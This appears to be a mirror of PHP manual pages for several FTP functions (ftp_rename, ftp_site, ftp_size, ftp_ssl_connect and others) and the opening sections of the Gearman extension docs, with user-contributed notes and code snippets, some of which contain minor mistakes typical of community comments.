    ftp_quit($conn_id);
}


Renames a file or a directory on the FTP server

  • « ftp_rawlist
  • ftp_rmdir »
  • PHP Manual
  • FTP Functions
  • Renames a file or a directory on the FTP server

ftp_rename

(PHP 4, PHP 5)

ftp_rename — Renames a file or a directory on the FTP server

Description

bool ftp_rename ( resource $ftp_stream , string $oldname , string $newname )

ftp_rename() renames a file or a directory on the FTP server.

Parameters

ftp_stream

The link identifier of the FTP connection.

oldname

The old file/directory name.

newname

The new name.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 ftp_rename() example

<?php
$old_file = 'somefile.txt.bak';
$new_file = 'somefile.txt';

// set up basic connection
$conn_id = ftp_connect($ftp_server);

// login with username and password
$login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);

// try to rename $old_file to $new_file
if (ftp_rename($conn_id, $old_file, $new_file)) {
 echo "successfully renamed $old_file to $new_file\n";
} else {
 echo "There was a problem while renaming $old_file to $new_file\n";
}

// close the connection
ftp_close($conn_id);
?>

User Contributed Notes

alishahnovin at hotmail dot com 12-Dec-2007 04:25
You want to make sure you check the existence of the new name before renaming files, because otherwise you could risk losing files. Just do a simple check with ftp_size with the new name. If it's !=-1, you're going to want to throw some kind of error, otherwise you'll be losing a file...
aventaria at hotmxxx dot com 07-Feb-2007 01:51
This function isn't only able to rename files, but also folders. And it is not only able to rename them, but also move them, and, in the case of folders, their contents as well (so folders don't have to be empty to move). For example:

<?php
ftp_rename($conn_id, "./dir1/dir2/", "./dir3/");
?>

Now the folder dir2 (which prevously was in folder dir1) has moved to the same folder as dir1, and it has kept its original contents (the content just moved along).
Hazem dot Khaled at gmail dot com 26-Nov-2006 04:56
to rename the file or folder you should use ftp_chdir to select the current directory on ftp server or you should write the full path to file in old name and in new name

Ex. 1
<?php
// open the folder that have the file
ftp_chdir($conn_id, '/www/ftp-filemanager/');

// rename the file
ftp_rename($conn_id, 'file1.jpg', 'new_name_4_file.jpg');
?>

or write full path Ex. 2
<?
// rename the file
ftp_rename($conn_id, '/www/ftp-filemanager/file1.jpg', '/www/ftp-filemanager/new_name_4_file.jpg');
?>
Hugo locobyte at hotmail dot NO_SPAM dot com 22-Nov-2002 09:29
Using "ftp_rename" to move files to other directories on server ftp
..
...
if(ftp_rename($conn_ftp, $xfiles[$i], "./dirx/".$xfiles[$i])) {
       echo "File $xfiles[$i] moved to ./dirx";
} else {
       echo "ERROR!!!. The file could not be moved";
}
...
..
#-->>h2m,  bye


Removes a directory

  • « ftp_rename
  • ftp_set_option »
  • PHP Manual
  • FTP Functions
  • Removes a directory

ftp_rmdir

(PHP 4, PHP 5)

ftp_rmdir — Removes a directory

Description

bool ftp_rmdir ( resource $ftp_stream , string $directory )

Removes the specified directory on the FTP server.

Parameters

ftp_stream

The link identifier of the FTP connection.

directory

The directory to delete. This must be either an absolute or relative path to an empty directory.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 ftp_rmdir() example

<?php

$dir = 'www/';

// set up basic connection
$conn_id = ftp_connect($ftp_server);

// login with username and password
$login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);

// try to delete the directory $dir
if (ftp_rmdir($conn_id, $dir)) {
    echo "Successfully deleted $dir\n";
} else {
    echo "There was a problem while deleting $dir\n";
}

ftp_close($conn_id);

?>

See Also

  • ftp_mkdir() - Creates a directory

User Contributed Notes

karl AT karlgroves.com 12-Aug-2011 02:18
Please note that this function, like rmdir, requires that the directory be empty.


Set miscellaneous runtime FTP options

  • « ftp_rmdir
  • ftp_site »
  • PHP Manual
  • FTP Functions
  • Set miscellaneous runtime FTP options

ftp_set_option

(PHP 4 >= 4.2.0, PHP 5)

ftp_set_option — Set miscellaneous runtime FTP options

Description

bool ftp_set_option ( resource $ftp_stream , int $option , mixed $value )

This function controls various runtime options for the specified FTP stream.

Parameters

ftp_stream

The link identifier of the FTP connection.

option

Currently, the following options are supported:

Supported runtime FTP options
FTP_TIMEOUT_SEC | Changes the timeout in seconds used for all network related functions. value must be an integer that is greater than 0. The default timeout is 90 seconds.
FTP_AUTOSEEK | When enabled, GET or PUT requests with a resumepos or startpos parameter will first seek to the requested position within the file. This is enabled by default.

value

This parameter depends on which option is chosen to be altered.

Return Values

Returns TRUE if the option could be set; FALSE if not. A warning message will be thrown if the option is not supported or the passed value doesn't match the expected value for the given option.

Examples

Example #1 ftp_set_option() example

<?php
// Set the network timeout to 10 seconds
ftp_set_option($conn_id, FTP_TIMEOUT_SEC, 10);
?>

See Also

  • ftp_get_option() - Retrieves various runtime behaviours of the current FTP stream

User Contributed Notes

There are no user contributed notes for this page.


Sends a SITE command to the server

  • « ftp_set_option
  • ftp_size »
  • PHP Manual
  • FTP Functions
  • Sends a SITE command to the server

ftp_site

(PHP 4, PHP 5)

ftp_site — Sends a SITE command to the server

Description

bool ftp_site ( resource $ftp_stream , string $command )

ftp_site() sends the given SITE command to the FTP server.

SITE commands are not standardized, and vary from server to server. They are useful for handling such things as file permissions and group membership.

Parameters

ftp_stream

The link identifier of the FTP connection.

command

The SITE command. Note that this parameter isn't escaped so there may be some issues with filenames containing spaces and other characters.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Sending a SITE command to an ftp server

<?php
// Connect to FTP server
$conn = ftp_connect('ftp.example.com');
if (!$conn) die('Unable to connect to ftp.example.com');

// Login as "user" with password "pass"
if (!ftp_login($conn, 'user', 'pass')) die('Error logging into ftp.example.com');

// Issue: "SITE CHMOD 0600 /home/user/privatefile" command to ftp server
if (ftp_site($conn, 'CHMOD 0600 /home/user/privatefile')) {
   echo "Command executed successfully.\n";
} else {
   die('Command failed.');
}
?>

See Also

  • ftp_raw() - Sends an arbitrary command to an FTP server

User Contributed Notes

www.bossftp.com 06-Nov-2008 03:30
To send a SITE command and get the result, you can try this:

<?php
function ftpsite($conn, $cmd) {
    return ftp_raw($conn, "SITE $cmd");
}
?>
Marc 05-Aug-2003 04:02
Use ftp_raw() (PHP 5+) instead of ftp_site() if you need the results of the remote command.
webmaster at beezm dot net 18-Jun-2003 08:52
I wrote some functions for an ftp server for windows called GuildFTPd.

Here they are, they are pretty much so self explanitory:
<?
function guildftpd_adduser($ftp_stream,$group,$username,$password){
    ftp_site($ftp_stream,"SITE ADDUSER $group $username $password");
}
function guildftpd_addgroup($ftp_stream,$groupname){
    ftp_site($ftp_stream,"SITE ADDGROUP $groupname");
}
function guildftpd_deluser($ftp_stream,$username){
    ftp_site($ftp_stream,"SITE DELUSER $username");
}
function guildftpd_addpath($ftp_stream,$username,$path,$vpath){
    ftp_site($ftp_stream,"SITE ADDPATH $username $path $vpath");
}
function guildftpd_delpath($ftp_stream,$username,$path,$vpath){
    ftp_site($ftp_stream,"SITE DELPATH $username $path $vpath");
}
function guildftpd_anon($ftp_stream){
    ftp_site($ftp_stream,"SITE ANON ALLOW");
}
function guildftpd_anond($ftp_stream){
    ftp_site($ftp_stream,"SITE ANON DENY");
}
function guildftpd_chpass($ftp_stream,$user,$pass){
    ftp_site($ftp_stream,"SITE CHPASS $user $pass");
}
function guildftpd_disable($ftp_stream,$user){
    ftp_site($ftp_stream,"SITE DISABLE $user");
}
function guildftpd_enable($ftp_stream,$user){
    ftp_site($ftp_stream,"SITE ENABLE $user");
}
function guildftpd_who($ftp_stream){
    $who = ftp_site($ftp_stream,"SITE WHO");
}
function guildftpd_kick($ftp_stream,$user);
    ftp_site($ftp_stream,"SITE KICK $user");
}
function guildftpd_msg($ftp_stream,$text);
    ftp_site($ftp_stream,"SITE MSG $text");
}
?>
to at mail dot isec dot pt 21-Nov-2002 02:20
Hya,
  Recently I had to work with FTP over PHP, since I didn't found any help about this topic I decided to post this here. If you need to chmod one file, I tested this on the ftp server using a ftp client and after I knew that the ftp server supported chmod I used the following commands:
$upload = ftp_put($conn_id, "/home/to/public_html/index.php", $source_file, FTP_ASCII);
$ch=@ftp_site($conn_id,"chmod 755 /home/to/public_html/index.php");

Hope this help!

T�
daemorhedron 17-Nov-2002 02:32
I'd like to follow up with Ivan's observation there. Unless I am missing the obvious, which is entirely possible of course, this command is quite useless unless it returns the data from the SITE <foo> request.

Besides the obvious SITE HELP command, another one that would require catching the feedback would be the SITE LOCATE | SITE SEARCH commands. I completely recognize that SITE <foo> commands are indeed insanely proprietary, but the fact still remains that changing this to return the results, or at least having the option to do so (such as exec() and the like) would be vastly preferred to the current method of returning true/false values.

Thanks.
29-Jun-2001 06:36
site commands are extra-functionality provided by some ftp servers, and depend on the server :
e.g. trying "ftp> site help" (with an interactive ftp client) on a proftp server would give :

214-The following SITE extensions are recognized:
 RATIO -- show all ratios in effect
 The following SITE commands are recognized (* =>'s unimplemented).
 HELP    CHMOD
214 Direct comments to admin@ftp.blahblah.fr

while with wu-ftpd on can typically get :

214-The following SITE commands are recognized (* =>'s unimplemented).
   UMASK           GROUP           INDEX           GROUPS
   IDLE            GPASS           EXEC            CHECKMETHOD
   CHMOD           NEWER           ALIAS           CHECKSUM
   HELP            MINFO           CDPATH
214 blabla

Unfortunately, ftp_site only returns true or false. It would be nice to have a way to get the server's reply in full : ftp_site('help') return 1, which pretty much useless.

Hope that helps,

Ivan


Returns the size of the given file

  • « ftp_site
  • ftp_ssl_connect »
  • PHP Manual
  • FTP Functions
  • Returns the size of the given file

ftp_size

(PHP 4, PHP 5)

ftp_size — Returns the size of the given file

Description

int ftp_size ( resource $ftp_stream , string $remote_file )

ftp_size() returns the size of the given file in bytes.

Note:

Not all servers support this feature.

Parameters

ftp_stream

The link identifier of the FTP connection.

remote_file

The remote file.

Return Values

Returns the file size on success, or -1 on error.

Examples

Example #1 ftp_size() example

<?php

$file = 'somefile.txt';

// set up basic connection
$conn_id = ftp_connect($ftp_server);

// login with username and password
$login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);

// get the size of $file
$res = ftp_size($conn_id, $file);

if ($res != -1) {
    echo "size of $file is $res bytes";
} else {
    echo "couldn't get the size";
}

// close the connection
ftp_close($conn_id);

?>

See Also

  • ftp_rawlist() - Returns a detailed list of files in the given directory

User Contributed Notes

gerben at gerbs dot net 23-Jun-2012 04:25
To overcome the 2 GB limitation, the ftp_raw solution below is probably the nicest. You can also perform this command using regular FTP commands:

<?php
$response =  ftp_raw($ftpConnection, "SIZE $filename");
$filesize = floatval(str_replace('213 ', '', $response[0]));
?>

[However, this] is insufficient for use on directories. As per RFC 3659 (http://tools.ietf.org/html/rfc3659#section-4.2), servers should return error 550 (File not found) if the command is issued on something else than a file, or if some other error occurred. For example, Filezilla indeed returns this string when using the ftp_raw command on a directory:

array(1) {
  [0]=>
  string(18) "550 File not found"
}

RFC 959 (http://tools.ietf.org/html/rfc959) dictates that the returned string always consists of exactly 3 digits, followed by 1 space, followed by some text. (Multi-line text is allowed, but I am ignoring that.) So it is probably better to split the string with substr, or even a regular expression.

<?php
$response = ftp_raw($ftp, "SIZE $filename");
$responseCode = substr($response[0], 0, 3);
$responseMessage = substr($response[0], 4);
?>

Or with a regular expression:

<?php
$response = ftp_raw($ftp, "SIZE $filename");
if (preg_match("/^(\\d{3}) (.*)$/", $response[0], $matches) == 0)
    throw new Exception("Unable to parse FTP reply: ".$response[0]);
list($response, $responseCode, $responseMessage) = $matches;
?>

You could then decide to assume that response code '550' means that it's a directory. I guess that's just as 'dangerous' as assuming that ftp_size -1 means that it's a directory.
ibeono at gmail dot com 28-Jul-2011 01:19
If you experience troubles with size of large file then you can use ftp_rawlist function and parse it result
bluerain [at] telenet [dot] be 10-Jul-2009 10:41
To overcome the 2GB file size limit, you can open your own socket to get the file size of a large file. Quick and dirty script:

<?php
$socket=fsockopen($hostName, 21);
$t=fgets($socket, 128);
fwrite($socket, "USER $myLogin\r\n");
$t=fgets($socket, 128);
fwrite($socket, "PASS $myPass\r\n");
$t=fgets($socket, 128);
fwrite($socket, "SIZE $fileName\r\n");
$t=fgets($socket, 128);
$fileSize=floatval(str_replace("213 ","",$t));
echo $fileSize;
fwrite($socket, "QUIT\r\n");
fclose($socket);
?>
miccots at gmail dot com 30-Oct-2007 10:55
2 adams[AT]techweavers[DOT]net:
To get a size of large file (f. ex.: 3.2 Gb) you have to format the result returned by ftp_size():

$size = sprintf ("%u", ftp_size($connection, $file_name));

So you can get the real size of big files. But this method is not good for checking is this a dir (when ftp_size() returns -1).
C_Muller 22-Jul-2007 12:42
For checking if a certain folder exists try using ftp_nlist() function to get a directory list in array. By using in_array('foldername') you can find out if it is there or not.
chuck at t8design dot com 23-May-2006 06:54
note that project_t4 at hotmail dot com's example above doesn't work in general, though it works on his Win2K/Apache server; as far as I can tell there is no way to check over ftp whether a directory exists.  This function's behavior given a directory name seems to be at least somewhat dependent on your OS, web server, or ftp server, I don't know which.
adams[AT]techweavers[DOT]net 21-Jun-2005 11:30
Well this function is nice but if you have files larger then 2.1Gb or 2.1 Billion Bytes you cannot get its size.
29-Sep-2004 03:10
To get a dirsize recursive you can use this simple function:

<?php # copyright by fackelkind | codeMaster
    function getRecDirSize ($connection, $dir){
        $temp = ftp_rawlist ($connection, "-alR $dir");
        foreach ($temp as $file){
            if (ereg ("([-d][rwxst-]+).* ([0-9]) ([a-zA-Z0-9]+).* ([a-zA-Z0-9]+).* ([0-9]*) ([a-zA-Z]+[0-9: ]*[0-9]) ([0-9]{2}:[0-9]{2}) (.+)", $file, $regs)){
                $isdir = (substr ($regs[1],0,1) == "d");
                if (!$isdir)
                    $size += $regs[5];
            }
        }
        return $size;
    }
    $dirSize = getRecDirSize ($conID, "/");
?>
project_t4 at hotmail dot com 18-Mar-2004 08:03
Just to let people out there know, on my windows 2000 server running Apache and php i was returned 0 not -1 for directories.

foreach ($dir_list as $item)
    {
      if(ftp_size($conn_id, $item) == "0")
      {
      echo "<br>Directory:: ".$item;
      } else {
      echo "<br>File:: ".$item;
      }
    }

This outputs a list of the remote directory and indicates which items are directories and which are files.
nicke_ at at_h9k dot com 04-Oct-2003 03:48
This will return the filesize on remote host and the size if you download it in FTP_BINARY mode. If you are using FTP_ASCII in ftp_get() the size can be changed.
victor59 at yahoo dot com dot hk 23-Dec-2002 10:44
$file= 'filename with space.txt';
$size = ftp_size($this->ftp, urldecode($file) );

this one can correctly return the size
otherwize, it always return -1


Opens an Secure SSL-FTP connection

  • « ftp_size
  • ftp_systype »
  • PHP Manual
  • FTP Functions
  • Opens an Secure SSL-FTP connection

ftp_ssl_connect

(PHP 4 >= 4.3.0, PHP 5)

ftp_ssl_connect — Opens an Secure SSL-FTP connection

Description

resource ftp_ssl_connect ( string $host [, int $port = 21 [, int $timeout = 90 ]] )

ftp_ssl_connect() opens an explicit SSL-FTP connection to the specified host.

Note: Why this function may not exist

ftp_ssl_connect() is only available if both the ftp module and the OpenSSL support is built statically into php, this means that on Windows this function will be undefined in the official PHP builds. To make this function available on Windows you must compile your own PHP binaries.

Note:

ftp_ssl_connect() is not intended for use with sFTP. To use sFTP with PHP, please see ssh2_sftp().

Parameters

host

The FTP server address. This parameter shouldn't have any trailing slashes and shouldn't be prefixed with ftp://.

port

This parameter specifies an alternate port to connect to. If it is omitted or set to zero, then the default FTP port, 21, will be used.

timeout

This parameter specifies the timeout for all subsequent network operations. If omitted, the default value is 90 seconds. The timeout can be changed and queried at any time with ftp_set_option() and ftp_get_option().

Return Values

Returns a SSL-FTP stream on success or FALSE on error.

Changelog

Version | Description
5.2.2 | The function was changed to return FALSE when it can't use an SSL connection, instead of fallbacking to a non-SSL one as previously.

Examples

Example #1 ftp_ssl_connect() example

<?php

// set up basic ssl connection
$conn_id = ftp_ssl_connect($ftp_server);

// login with username and password
$login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);

echo ftp_pwd($conn_id); // /

// close the ssl connection
ftp_close($conn_id);
?>

See Also

  • ftp_connect() - Opens an FTP connection

User Contributed Notes

mmm3567 at gmail dot com 19-Dec-2011 01:27
Something that isn't mentioned above is that although ftp_ssl_connect may be available and will return an FTP stream it may not be usable. Take the following code (FTP login credentials are obviously set elsewhere):

<?php
var_dump(function_exists('ftp_ssl_connect'));
if(function_exists('ftp_ssl_connect'))
{
    $ftp_connection = @ftp_ssl_connect($this->ftp_host);
}
else
{
    $ftp_connection = @ftp_connect($this->ftp_host);
}
var_dump($ftp_connection);
if($ftp_connection)
{
    ftp_login($ftp_connection, $this->ftp_user, $this->ftp_password);
}
// output: bool(true) resource(71) of type (FTP Buffer)
?>

From this you'd assume everything would work, ftp_ssl_connect is available and you have a connection. However, once you get to ftp_login, you could get this:

Warning [2] ftp_login() [function.ftp-login]: AUTH not understood

This is because the server is not configured to understand the encrypted details, even though the function is available and an SSL-FTP stream was opened.

If you are trying to use ftp_ssl_connect make sure you check if you can login after using it, and if not, connect again with standard ftp_connect.

Hope this is of use.


Returns the system type identifier of the remote FTP server

  • « ftp_ssl_connect
  • Gearman »
  • PHP Manual
  • FTP Functions
  • Returns the system type identifier of the remote FTP server

ftp_systype

(PHP 4, PHP 5)

ftp_systype — Returns the system type identifier of the remote FTP server

Description

string ftp_systype ( resource $ftp_stream )

Returns the system type identifier of the remote FTP server.

Parameters

ftp_stream

The link identifier of the FTP connection.

Return Values

Returns the remote system type, or FALSE on error.

Examples

Example #1 ftp_systype() example

<?php

// ftp connection
$ftp = ftp_connect('ftp.example.com');
ftp_login($ftp, 'user', 'password');

// get the system type
if ($type = ftp_systype($ftp)) {
    echo "Example.com is powered by $type\n";
} else {
    echo "Couldn't get the systype";
}

?>

The above example will output something similar to:

Example.com is powered by UNIX

User Contributed Notes

Buckwheat469 at hotmail dot com 26-Jul-2006 06:41
ftp_systype can be a good way of checking the state of a connection, since PHP doesn't have a better system to check the state of an ftp connection (is_connected would be nice).

if (!($type = ftp_systype($conn_id))) {
    echo "FTP connection has failed! Trying again.\n";
    $conn_id = ftp_connect($ftp_server);
    $login_result = ftp_login($conn_id, $ftp_user, $ftp_pass);
}


Gearman

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Examples
    • Basic usage
    • Basic Gearman client and worker, background
    • Basic Gearman client and worker, submitting tasks
  • GearmanClient — The GearmanClient class
    • GearmanClient::addOptions — Add client options
    • GearmanClient::addServer — Add a job server to the client
    • GearmanClient::addServers — Add a list of job servers to the client
    • GearmanClient::addTask — Add a task to be run in parallel
    • GearmanClient::addTaskBackground — Add a background task to be run in parallel
    • GearmanClient::addTaskHigh — Add a high priority task to run in parallel
    • GearmanClient::addTaskHighBackground — Add a high priority background task to be run in parallel
    • GearmanClient::addTaskLow — Add a low priority task to run in parallel
    • GearmanClient::addTaskLowBackground — Add a low priority background task to be run in parallel
    • GearmanClient::addTaskStatus — Add a task to get status
    • GearmanClient::clearCallbacks — Clear all task callback functions
    • GearmanClient::clone — Create a copy of a GearmanClient object
    • GearmanClient::__construct — Create a GearmanClient instance
    • GearmanClient::context — Get the application context
    • GearmanClient::data — Get the application data (deprecated)
    • GearmanClient::do — Run a single task and return a result [deprecated]
    • GearmanClient::doBackground — Run a task in the background
    • GearmanClient::doHigh — Run a single high priority task
    • GearmanClient::doHighBackground — Run a high priority task in the background
    • GearmanClient::doJobHandle — Get the job handle for the running task
    • GearmanClient::doLow — Run a single low priority task
    • GearmanClient::doLowBackground — Run a low priority task in the background
    • GearmanClient::doNormal — Run a single task and return a result
    • GearmanClient::doStatus — Get the status for the running task
    • GearmanClient::echo — Send data to all job servers to see if they echo it back [deprecated]
    • GearmanClient::error — Returns an error string for the last error encountered.
    • GearmanClient::getErrno — Get an errno value
    • GearmanClient::jobStatus — Get the status of a background job
    • GearmanClient::ping — Send data to all job servers to see if they echo it back
    • GearmanClient::removeOptions — Remove client options
    • GearmanClient::returnCode — Get the last Gearman return code
    • GearmanClient::runTasks — Run a list of tasks in parallel
    • GearmanClient::setClientCallback — Callback function when there is a data packet for a task (deprecated)
    • GearmanClient::setCompleteCallback — Set a function to be called on task completion
    • GearmanClient::setContext — Set application context
    • GearmanClient::setCreatedCallback — Set a callback for when a task is queued
    • GearmanClient::setData — Set application data (deprecated)
    • GearmanClient::setDataCallback — Callback function when there is a data packet for a task
    • GearmanClient::setExceptionCallback — Set a callback for worker exceptions
    • GearmanClient::setFailCallback — Set callback for job failure
    • GearmanClient::setOptions — Set client options
    • GearmanClient::setStatusCallback — Set a callback for collecting task status
    • GearmanClient::setTimeout — Set socket I/O activity timeout
    • GearmanClient::setWarningCallback — Set a callback for worker warnings
    • GearmanClient::setWorkloadCallback — Set a callback for accepting incremental data updates
    • GearmanClient::timeout — Get current socket I/O activity timeout value
  • GearmanJob — The GearmanJob class
    • GearmanJob::complete — Send the result and complete status (deprecated)
    • GearmanJob::__construct — Create a GearmanJob instance
    • GearmanJob::data — Send data for a running job (deprecated)
    • GearmanJob::exception — Send exception for running job (deprecated)
    • GearmanJob::fail — Send fail status (deprecated)
    • GearmanJob::functionName — Get function name
    • GearmanJob::handle — Get the job handle
    • GearmanJob::returnCode — Get last return code
    • GearmanJob::sendComplete — Send the result and complete status
    • GearmanJob::sendData — Send data for a running job
    • GearmanJob::sendException — Send exception for running job (exception)
    • GearmanJob::sendFail — Send fail status
    • GearmanJob::sendStatus — Send status
    • GearmanJob::sendWarning — Send a warning
    • GearmanJob::setReturn — Set a return value
    • GearmanJob::status — Send status (deprecated)
    • GearmanJob::unique — Get the unique identifier
    • GearmanJob::warning — Send a warning (deprecated)
    • GearmanJob::workload — Get workload
    • GearmanJob::workloadSize — Get size of work load
  • GearmanTask — The GearmanTask class
    • GearmanTask::__construct — Create a GearmanTask instance
    • GearmanTask::create — Create a task (deprecated)
    • GearmanTask::data — Get data returned for a task
    • GearmanTask::dataSize — Get the size of returned data
    • GearmanTask::function — Get associated function name (deprecated)
    • GearmanTask::functionName — Get associated function name
    • GearmanTask::isKnown — Determine if task is known
    • GearmanTask::isRunning — Test whether the task is currently running
    • GearmanTask::jobHandle — Get the job handle
    • GearmanTask::recvData — Read work or result data into a buffer for a task
    • GearmanTask::returnCode — Get the last return code
    • GearmanTask::sendData — Send data for a task (deprecated)
    • GearmanTask::sendWorkload — Send data for a task
    • GearmanTask::taskDenominator — Get completion percentage denominator
    • GearmanTask::taskNumerator — Get completion percentage numerator
    • GearmanTask::unique — Get the unique identifier for a task
    • GearmanTask::uuid — Get the unique identifier for a task (deprecated)
  • GearmanWorker — The GearmanWorker class
    • GearmanWorker::addFunction — Register and add callback function
    • GearmanWorker::addOptions — Add worker options
    • GearmanWorker::addServer — Add a job server
    • GearmanWorker::addServers — Add job servers
    • GearmanWorker::clone — Create a copy of the worker
    • GearmanWorker::__construct — Create a GearmanWorker instance
    • GearmanWorker::echo — Test job server response
    • GearmanWorker::error — Get the last error encountered
    • GearmanWorker::getErrno — Get errno
    • GearmanWorker::options — Get worker options
    • GearmanWorker::register — Register a function with the job server
    • GearmanWorker::removeOptions — Remove worker options
    • GearmanWorker::returnCode — Get last Gearman return code
    • GearmanWorker::setId — Give the worker an identifier so it can be tracked when asking gearmand for the list of available workers.
    • GearmanWorker::setOptions — Set worker options
    • GearmanWorker::setTimeout — Set socket I/O activity timeout
    • GearmanWorker::timeout — Get socket I/O activity timeout
    • GearmanWorker::unregister — Unregister a function name with the job servers
    • GearmanWorker::unregisterAll — Unregister all function names with the job servers
    • GearmanWorker::wait — Wait for activity from one of the job servers
    • GearmanWorker::work — Wait for and perform jobs
  • GearmanException — The GearmanException class

User Contributed Notes

Anonymous 24-Apr-2013 07:54
For my previous comment:

this line:
<?php
$worker->addFunction(new MyClass($test), 'myMethod');
?>

change to:

<?php
$worker->addFunction($taskName, array(new MyClass(), 'myMethod'));
?>
spacewalker2002 at ukr dot net 23-Apr-2013 08:34
You can use this syntax:

<?php
   $worker = new GearmanWorker();
   $worker->addServer();
   $worker->addFunction(new MyClass($test), 'myMethod');

class MyClass
{
   public function __construct($test)
   {
       $this->test = $test;
   }

   public function myMethod(GearmanJob $job)
   {
      // you can access to $this->test;
   }
}
jon dot skarpeteig at gmail dot com 29-Aug-2012 05:26
Unfortunately there's no manager in the pecl extension. If you want to make use of admin features, check out: http://pear.php.net/package/Net_Gearman which implements the administrative protocol in Manager.php as defined in: http://gearman.org/?id=protocol


Introduction

» Gearman is a generic application framework for farming out work to multiple machines or processes. It allows applications to complete tasks in parallel, to load balance processing, and to call functions between languages. The framework can be used in a variety of applications, from high-availability web sites to the transport of database replication events.

This extension provides classes for writing Gearman clients and workers.

User Contributed Notes

There are no user contributed notes for this page.


Requirements

This extension requires the » libgearman library and a running Gearman server.

User Contributed Notes

matthew.scott.day at gmail dot com 02-Nov-2013 09:37
just to update, the getting started link above is incorrect, it's now: http://gearman.org/getting-started/
sharkyan1982 at gmail dot com 22-Oct-2012 06:16
When deployment on CentOS_5.8_x64 , you need the following:
1. gcc44
2. boost >=1.39
3. libevent
4. php5.3+
5. update ld.so.conf
Before you start the gearman_1.1.1+.
lphuberdeau at lphuberdeau dot com 05-Jan-2010 03:24
Installing the pecl extension also required to install development packages for libevent and uuid. Those dependencies were not verified by the configuration step, resulting in rather cryptic errors.

On ubuntu:
sudo apt-get install libev-libevent-dev uuid-dev


Installation

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/gearman

User Contributed Notes

There are no user contributed notes for this page.


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

Return values. Always check GearmanClient::error() or GearmanWorker() for a string error, as it may contain more details:

GEARMAN_SUCCESS (integer)
Whatever action was taken was successful.
GEARMAN_IO_WAIT (integer)
When in non-blocking mode, an event is hit that would have blocked.
GEARMAN_ERRNO (integer)
A system error. Check GearmanClient::errno() or GearmanWorker::errno() for the system error code that was returned.
GEARMAN_NO_ACTIVE_FDS (integer)
GearmanClient::wait() or GearmanWorker() was called with no connections.
GEARMAN_UNEXPECTED_PACKET (integer)
Indicates something going very wrong in gearmand. Applies only to GearmanWorker.
GEARMAN_GETADDRINFO (integer)
DNS resolution failed (invalid host, port, etc).
GEARMAN_NO_SERVERS (integer)
Did not call GearmanClient::addServer() before submitting jobs or tasks.
GEARMAN_LOST_CONNECTION (integer)
Lost a connection during a request.
GEARMAN_MEMORY_ALLOCATION_FAILURE (integer)
Memory allocation failed (ran out of memory).
GEARMAN_SERVER_ERROR (integer)
Something went wrong in the Gearman server and it could not handle the request gracefully.
GEARMAN_WORK_DATA (integer)
Notice return code obtained with GearmanClient::returnCode() when using GearmanClient::do(). Sent to update the client with data from a running job. A worker uses this when it needs to send updates, send partial results, or flush data during long running jobs.
GEARMAN_WORK_WARNING (integer)
Notice return code obtained with GearmanClient::returnCode() when using GearmanClient::do(). Updates the client with a warning. The behavior is just like GEARMAN_WORK_DATA, but should be treated as a warning instead of normal response data.
GEARMAN_WORK_STATUS (integer)
Notice return code obtained with GearmanClient::returnCode() when using GearmanClient::do(). Sent to update the status of a long running job. Use GearmanClient::doStatus() to obtain the percentage complete of the task.
GEARMAN_WORK_EXCEPTION (integer)
Notice return code obtained with GearmanClient::returnCode() when using GearmanClient::do(). Indicates that a job failed with a given exception.
GEARMAN_WORK_FAIL (integer)
Notice return code obtained with GearmanClient::returnCode() when using GearmanClient::do(). Indicates that the job failed.
GEARMAN_COULD_NOT_CONNECT (integer)
Failed to connect to servers.
GEARMAN_INVALID_FUNCTION_NAME (integer)
Trying to register a function name of NULL or using the callback interface without specifying callbacks.
GEARMAN_INVALID_WORKER_FUNCTION (integer)
Trying to register a function with a NULL callback function.
GEARMAN_NO_REGISTERED_FUNCTIONS (integer)
When a worker gets a job for a function it did not register.
GEARMAN_NO_JOBS (integer)
For a non-blocking worker, when GearmanWorker::work() does not have any active jobs.
GEARMAN_ECHO_DATA_CORRUPTION (integer)
After GearmanClient::echo() or GearmanWorker::echo() the data returned doesn't match the data sent.
GEARMAN_NEED_WORKLOAD_FN (integer)
When the client opted to stream the workload of a task, but did not specify a workload callback function.
GEARMAN_PAUSE (integer)
For the non-blocking client task interface, can be returned from the task callback to "pause" the call and return from GearmanClient::runTasks(). Call GearmanClient::runTasks() again to continue.
GEARMAN_UNKNOWN_STATE (integer)
Internal client/worker state error.
GEARMAN_SEND_BUFFER_TOO_SMALL (integer)
Internal error: trying to flush more data in one atomic chunk than is possible due to hard-coded buffer sizes.
GEARMAN_TIMEOUT (integer)
Hit the timeout limit set by the client/worker.

GearmanClient options:

GEARMAN_CLIENT_NON_BLOCKING (integer)
Run the cient in a non-blocking mode.
GEARMAN_CLIENT_UNBUFFERED_RESULT (integer)
Allow the client to read data in chunks rather than have the library buffer the entire data result and pass that back.
GEARMAN_CLIENT_FREE_TASKS (integer)
Automatically free task objects once they are complete. This is the default setting in this extension to prevent memory leaks.

GearmanWorker options:

GEARMAN_WORKER_NON_BLOCKING (integer)
Run the worker in non-blocking mode.
GEARMAN_WORKER_GRAB_UNIQ (integer)
Return the client assigned unique ID in addition to the job handle.

Base Gearman configuration:

GEARMAN_DEFAULT_TCP_HOST (string)
GEARMAN_DEFAULT_TCP_PORT (integer)
GEARMAN_DEFAULT_SOCKET_TIMEOUT (integer)
GEARMAN_DEFAULT_SOCKET_SEND_SIZE (integer)
GEARMAN_DEFAULT_SOCKET_RECV_SIZE (integer)
GEARMAN_MAX_ERROR_SIZE (integer)
GEARMAN_PACKET_HEADER_SIZE (integer)
GEARMAN_JOB_HANDLE_SIZE (integer)
GEARMAN_OPTION_SIZE (integer)
GEARMAN_UNIQUE_SIZE (integer)
GEARMAN_MAX_COMMAND_ARGS (integer)
GEARMAN_ARGS_BUFFER_SIZE (integer)
GEARMAN_SEND_BUFFER_SIZE (integer)
GEARMAN_RECV_BUFFER_SIZE (integer)
